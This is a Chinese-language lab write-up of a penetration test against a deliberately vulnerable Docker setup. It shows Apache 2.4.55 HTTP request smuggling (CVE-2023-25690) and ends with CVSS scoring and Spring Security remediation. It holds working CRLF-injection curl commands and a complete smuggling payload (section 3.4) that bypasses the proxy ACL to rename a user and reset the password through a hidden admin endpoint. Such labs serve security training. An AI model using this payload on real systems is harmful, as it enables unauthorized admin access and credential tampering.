## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GIORDY0424-CVE-2023-25690_LAB
# 通过 Apache 代理进行 HTTP 请求走私
## 环境配置
### 基础设施
组件| 角色| 版本
---|---|---
Apache HTTP Server| 反向代理| 2.4.55(存在漏洞)
Spring Boot(内嵌 Tomcat)| 后端 API| 4.x(Java 21)
SQLite| 数据库| —
root@kitploit:~
用户 ──► Apache :80(代理)──► Spring Boot :8080(后端)──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690:CRLF 未经过滤
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL:<Location "/admin"> 已阻止
### 后端公共端点
root@kitploit:~
POST /public/register:允许用户在数据库中注册
POST /public/login:通过验证输入的凭据允许登录,并发放会话令牌
GET /public/dashboard:用户专属区域
GET /api/status:接受参数“name”,是用于验证服务状态的示例端点
GET /public/logout
### 后端私有端点
root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}:这是一个理论上公众无法访问的路由,允许管理员修改用户数据
### 渗透测试参考方法论
1. **规划** — 定义范围
2. **发现** — 信息收集、足迹分析、扫描与枚举、漏洞分析
3. **攻击** — 漏洞利用、权限提升
4. **报告** — 执行摘要、技术报告
* * *
# 执行摘要
在渗透测试活动中,识别出暴露 Spring Boot 后端的反向代理基础设施中存在**严重漏洞** 。Apache HTTP Server **2.4.55** 版本受 **CVE-2023-25690** (HTTP 请求走私)漏洞影响,该漏洞允许攻击者**绕过代理上实施的安全过滤器** ,直接访问未受保护的内部管理端点。
该攻击利用了 Apache `RewriteRule` 中缺乏对控制字符(CRLF)的过滤,允许在发往后端的合法请求参数中注入**第二个 HTTP 请求** 。概念验证已证明可通过 `/admin/edit/{id}/{newName}/{newPass}` 端点**未经授权修改数据库中的用户凭据** ,而该端点理论上受代理 ACL 保护。
**建议** :立即将 Apache HTTP Server 升级至 **≥ 2.4.56** 版本,加强代理上的安全过滤器,并为所有敏感端点实施后端安全层(Spring Security)。
* * *
## 1 规划
### 1.1 模式
* 攻击向量:互联网
* 攻击目标环境:生产环境
### 1.2 灰盒 - 已知信息:
* 前端主机名
* 后端主机名(或公司局域网内的 IP 地址)及端口
* 私有端点
### 1.3 测试目标
* 绕过 Apache 的 ACL 以访问私有端点
* 证明未经授权修改数据库中用户数据的能力
* 评估 CVE-2023-25690 在真实场景中的实际影响
## 2 漏洞评估 — 发现阶段
### 2.1 信息收集与足迹分析
#### 2.1.1 横幅抓取
通过分析 HTTP 响应头识别 Apache 版本。
root@kitploit:~
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
**结果** :服务器头信息显示 `Apache/2.4.55`。查询 CVE 数据库 → 与 **CVE-2023-25690** 匹配。
根据该 CVE,在此版本的 Apache 中,如果存在一条 RewriteRule 将来自代理请求的通用字符复制到后端目标 URL 中,则转录的文本不会被过滤,因此控制字符(如回车换行)也会通过。
例如: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P 代表代理模式
因此,现在的目标是发现是否存在某个端点在代理层面执行这种转录。
#### 2.1.2 识别后端技术
从响应分析和应用行为中可以观察到,会话通过 JSESSIONID 管理,这确认了 Java Servlet 容器(如 Apache Tomcat、Jetty 或 WildFly)的使用。此外,对不存在端点的请求返回“Whitelabel Error Page”,表明后端运行的是 Spring Boot。
### 2.2 扫描与枚举
#### 2.2.1 端点发现(模糊测试)
通过用于自动化字典模糊测试的 bash 脚本,已映射出网络中暴露的端点(推测为全部端点)。
结果:
#### 2.2.2 代理配置映射(推断)
由于
* /service/x
* /api/status?name=x
两者返回相同响应,可知它们指向同一后端端点。此外,由于类似 /service/x/y/z 的请求(很可能不存在)不会返回 404,可以推断原始端点接受的是参数而非路径变量。因此可以得出结论:对 /service/<service> 的请求通过 RewriteRule 转发到 Spring Boot 后端(正是我们要找的)。现在需要确定这条 RewriteRule 是否是宽松的,即使用类似 .* 的正则表达式,还是结构严谨的。
我尝试在请求中插入控制字符,以将合法内容与隐藏内容分离:
root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。
我插入了一个自定义参数来验证 CRLF 是否被正确解析。
trash_header 的作用是封装 Apache 将添加到后端请求中的头部(这样它们将被解析为 X-Header 的普通文本,对 HTTP 请求而言不具有实际意义)。
* * *
### 攻击者范围之外
通过后端容器中的 _tcpdump_ ,我得以拦截来自 Apache 的 HTTP 请求:
root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
后端看到如下请求:
root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
* * *
“控制字符已被控制”
响应表明,包含控制字符的部分已作为 HTTP 请求本身的结构顺利通过,而不仅仅是作为参数(因为后端捕获的名称仅为 'x')。因此,我们已设定了发往后端的 HTTP 请求格式,且代理已接受,这为真正的走私攻击载荷开辟了道路。
### 2.3 攻击面映射
* * *
## 3 攻击
### 3.1 攻击目标
强制 Apache 反向代理向后端 Spring Boot 转发**两个独立请求** ,使第二个请求到达 `/admin/edit/` 端点,同时**绕过 Apache 的 ACL 过滤器** 。
在此阶段,假设 localhost 和 spring-backend 分别是代理和服务器的公共地址。如果代理和后端位于同一网络(或组织)中,spring-backend 将是一个私有 IP(遗憾的是,这很难获知)。
### 3.2 走私机制
漏洞存在于 RewriteRule 中:
root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
代理将用户输入捕获到 `$1` 中,并将其插入查询字符串,**未过滤** 控制字符(`%20`、`%0d%0a`)。后端(Tomcat)将这些字符解释为 **URL 的终止** 和**同一 TCP 套接字上新 HTTP 请求的开始** 。
### 3.3 攻击载荷构成
root@kitploit:~
A) GET /service/x → 合法部分;/service/ 之后的所有内容
进入 $1(name 参数)
B) %20HTTP/1.1 → [分割点] 空格提前终止
后端中的 URL
C) %0d%0aHost:...%0d%0a%0d%0a → [头部注入] CRLF 用于终止
第一个请求
D) POST /admin/edit/1/HACKED/PWNED → [走私请求] 隐藏的
恶意请求指向 admin 端点
E) %20HTTP/1.1 → 第二个请求的 HTTP 版本
F) %0d%0aContent-Length:%200 → POST 的空请求体
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [头部吸收器] 吸收 Apache
自动添加的头部
### 3.4 完整 HTTP 请求
root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
### 3.5 流量解码
Apache **看到的** (单个请求):
root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
后端**接收到的** (同一套接字上的两个请求):
root@kitploit:~
--- 请求 1(合法,但被“截断”)---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- 请求 2(走私)---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
### 3.6 结果
root@kitploit:~
>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。
ID 为 1 的用户已被重命名为 `HACKED`,密码为 `PWNED` — **完全绕过代理的 ACL** 。
* * *
### 攻击者范围之外
直接访问数据库进行确认:
root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
* * *
## 4 漏洞评估
### 4.1 识别
ID| 描述
---|---
**CVE-2023-25690**| Apache HTTP Server 通过 mod_proxy 与 RewriteRule/ProxyPassMatch 实现 HTTP 请求走私
**CWE-444**| HTTP 请求的不一致解析('HTTP 请求/响应走私')
**CWE-113**| HTTP 头中 CRLF 序列的不当中和('HTTP 响应拆分')
### 4.2 CVSS 3.1 评分
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
#### 基础指标
**基础评分** :**10.0** (严重)— `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
#### 时间指标
指标| 值| 描述
---|---|---
利用代码成熟度(E)
**时间评分** :**9.3** (高)
#### 环境指标
**环境评分** :**8.0** (高)
**向量字符串** :`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H`
**综合评分** :**8.0 — 高**
* * *
## 5\. 修复措施
### 5.1 软件升级(推荐)
将 Apache HTTP Server 升级至 **≥ 2.4.56** 版本,该版本在服务器核心层面强制对带有 `[P]` 标志的 `RewriteRule` 中的控制字符进行过滤。
当前版本| 目标版本| 修复
---|---|---
2.4.55| 2.4.56+| mod_proxy 中自动过滤 CRLF
### 5.2 后端加固(Spring Boot)
#### 实施 Spring Security
在 `pom.xml` 中添加 `spring-boot-starter-security`:
root@kitploit:~
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
配置保护管理端点的 `SecurityFilterChain`:
root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
#### 输入验证
对所有端点接受的参数(查询字符串、路径变量、表单数据)添加检查:
root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// 验证用户是否具有 ADMIN 角色
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "访问被拒绝";
}
// ... 仅在认证检查后允许操作
}